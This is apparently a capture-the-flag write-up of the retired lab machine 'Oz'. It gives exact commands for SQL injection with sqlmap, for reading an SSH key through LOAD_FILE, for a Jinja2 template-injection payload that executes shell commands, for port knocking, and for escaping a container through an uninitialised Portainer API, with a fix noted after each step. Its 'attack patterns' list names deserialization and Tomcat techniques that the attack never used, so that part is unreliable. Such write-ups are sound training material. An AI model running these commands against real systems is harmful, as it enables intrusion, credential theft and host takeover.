Oz
Summary
Target Oz (<retired-instance-ip>) exposed two Python/Werkzeug web services — an unauthenticated JSON API on port 80 and a support-ticket portal on port 8080 — with SSH hidden behind a UDP port-knock firewall rule. The JSON API passed URL parameters directly into SQL queries; I exploited this to dump a credentials table and abuse MySQL's LOAD_FILE() to pull an encrypted SSH private key off the server filesystem. The dumped credential wizard.oz:[REDACTED: recovered credential] unlocked the ticket portal, whose description field rendered user input as a live Jinja2 template, giving remote code execution inside the web container as root. That RCE read a secret config file revealing the port-knock sequence, while a database URI leaked from the Flask app config supplied the SSH key's passphrase. After knocking open SSH, I logged in as dorthi and captured the user flag. Dorthi's shell was a Docker container; Portainer, the container-management API, was reachable on the internal Docker bridge network and had never been initialized, so a single unauthenticated request created an user-controlled admin account. That admin access deployed a privileged container with the host root filesystem mounted inside, escaping container isolation entirely and exposing root.txt on the underlying host.
Attack path — how the box was taken
Exact commands 3
nmap -sV -sC -p 22,80,8080 $TARGETcurl -sS http://$TARGET/curl -sS http://$TARGET:8080/Exact commands 4
curl -sS "http://$TARGET/users/' or '1'='1"sqlmap -u 'http://$TARGET/users/admin*' --batch --random-agent --level=5 --risk=3 --dbms=mysql --dbssqlmap -u 'http://$TARGET/users/admin*' --batch --random-agent --level=5 --risk=3 --dbms=mysql -D ozdb -T users_gbw --dumpsqlmap -u 'http://$TARGET/users/admin*' --batch --random-agent --level=5 --risk=3 --dbms=mysql --file-read=/home/dorthi/.ssh/id_rsaFixParameterise all database queries to eliminate SQL injection and revoke LOAD_FILE privilegeCritical
Exact commands 3
curl -sS -c /tmp/oz8080.cookies -X POST -d 'username=wizard.oz&password=[REDACTED: credential]' http://$TARGET:8080/logincurl -sS -b /tmp/oz8080.cookies -X POST --data-urlencode 'name=test' --data-urlencode 'desc={{7*7}}' http://$TARGET:8080/curl -sS -b /tmp/oz8080.cookies -X POST --data-urlencode 'name=cfg' --data-urlencode 'desc={{config.items()}}' http://$TARGET:8080/FixStop evaluating user input as Jinja2 templates and run the web process as a non-root userCritical
Exact commands 2
payload='{{request.application.__globals__.__builtins__.__import__("os").popen("id").read()}}'; curl -sS --max-time 8 -b /tmp/oz8080.cookies -X POST --data-urlencode 'name=rce-id' --data-urlencode "desc=$payload" 'http://$TARGET:8080/'payload='{{request.application.__globals__.__builtins__.__import__("os").popen("cat /.secret/knockd.conf").read()}}'; curl -sS --max-time 8 -b /tmp/oz8080.cookies -X POST --data-urlencode 'name=knock' --data-urlencode "desc=$payload" 'http://$TARGET:8080/'FixStop evaluating user input as Jinja2 templates and run the web process as a non-root userCritical
Exact commands 4
cp /home/kali/.local/share/sqlmap/output/$TARGET/files/_home_dorthi_.ssh_id_rsa /tmp/oz_dorthi_id_rsa && chmod 600 /tmp/oz_dorthi_id_rsassh-keygen -p -P '[REDACTED: recovered credential]' -N '' -f /tmp/oz_dorthi_id_rsafor p in 40809 50212 46969; do bash -c "echo x >/dev/udp/$TARGET/$p"; sleep 0.25; donessh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=5 -i /tmp/oz_dorthi_id_rsa dorthi@$TARGET 'cat ~/user.txt'FixProtect SSH private keys with unique passphrases and restrict database filesystem access to user directoriesHigh
Exact commands 2
for p in 40809 50212 46969; do bash -c "echo x >/dev/udp/$TARGET/$p"; sleep 0.25; done && ssh -f -N -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -L 19001:$INTERNAL_TARGET:9000 -i /tmp/oz_dorthi_id_rsa dorthi@$TARGETcurl -sS http://$LOOPBACK:19001/api/statusExact commands 2
curl -sS -X POST http://$LOOPBACK:19001/api/users/admin/init -H 'Content-Type: application/json' -d '{"Username":"admin","Password":"P@ssw0rd123!"}'curl -sS -X POST http://$LOOPBACK:19001/api/auth -H 'Content-Type: application/json' -d '{"Username":"admin","Password":"P@ssw0rd123!"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['jwt'])"FixComplete Portainer initialisation before network exposure and restrict API access to trusted hostsCritical
Exact commands 3
TOKEN=[REDACTED: protected value]; curl -sS -X POST http://$LOOPBACK:19001/api/endpoints --oauth2-bearer "$BEARER_TOKEN" -H 'Content-Type: application/json' -d '{"Name":"local","EndpointType":1,"URL":"unix:///var/run/docker.sock"}'TOKEN=[REDACTED: protected value]; EID=1; curl -sS -X POST "http://$LOOPBACK:19001/api/endpoints/$EID/docker/containers/create" --oauth2-bearer "$BEARER_TOKEN" -H 'Content-Type: application/json' -d '{"Image":"alpine","Cmd":["/bin/sh","-c","cat /host/root/root.txt"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'TOKEN=[REDACTED: protected value]; EID=1; CID='<CONTAINER_ID>'; curl -sS -X POST "http://$LOOPBACK:19001/api/endpoints/$EID/docker/containers/$CID/start" --oauth2-bearer "$BEARER_TOKEN" && curl -sS "http://$LOOPBACK:19001/api/endpoints/$EID/docker/containers/$CID/logs?stdout=1&stderr=1" --oauth2-bearer "$BEARER_TOKEN"FixProhibit privileged containers and unrestricted host-path mounts via Docker security policyCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize user-controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.
Why it works
Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Server-Side Template InjectionWebT1190
What it is
When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), I can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.
Why it works
The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.
Read more
Tomcat Manager WAR DeployWeb · Service RCET1190
What it is
Apache Tomcat's Manager application allows deploying web applications. With valid (often default/weak) manager credentials, I uploads a malicious WAR file containing a JSP webshell, which Tomcat deploys and executes — code execution as the Tomcat service user.
Why it works
The Manager app is exposed with default or guessable credentials (tomcat:tomcat, admin:admin) and the deploy feature is RCE by design. Remediate by removing/locking down the Manager app, using strong credentials, and binding it to localhost.
Read more
Findings
Exposed services
| 80/tcp | http Werkzeug httpd 1.0.1 (Python 2.7.18) |
| 8080/tcp | http Werkzeug httpd 1.0.1 (Python 2.7.18) |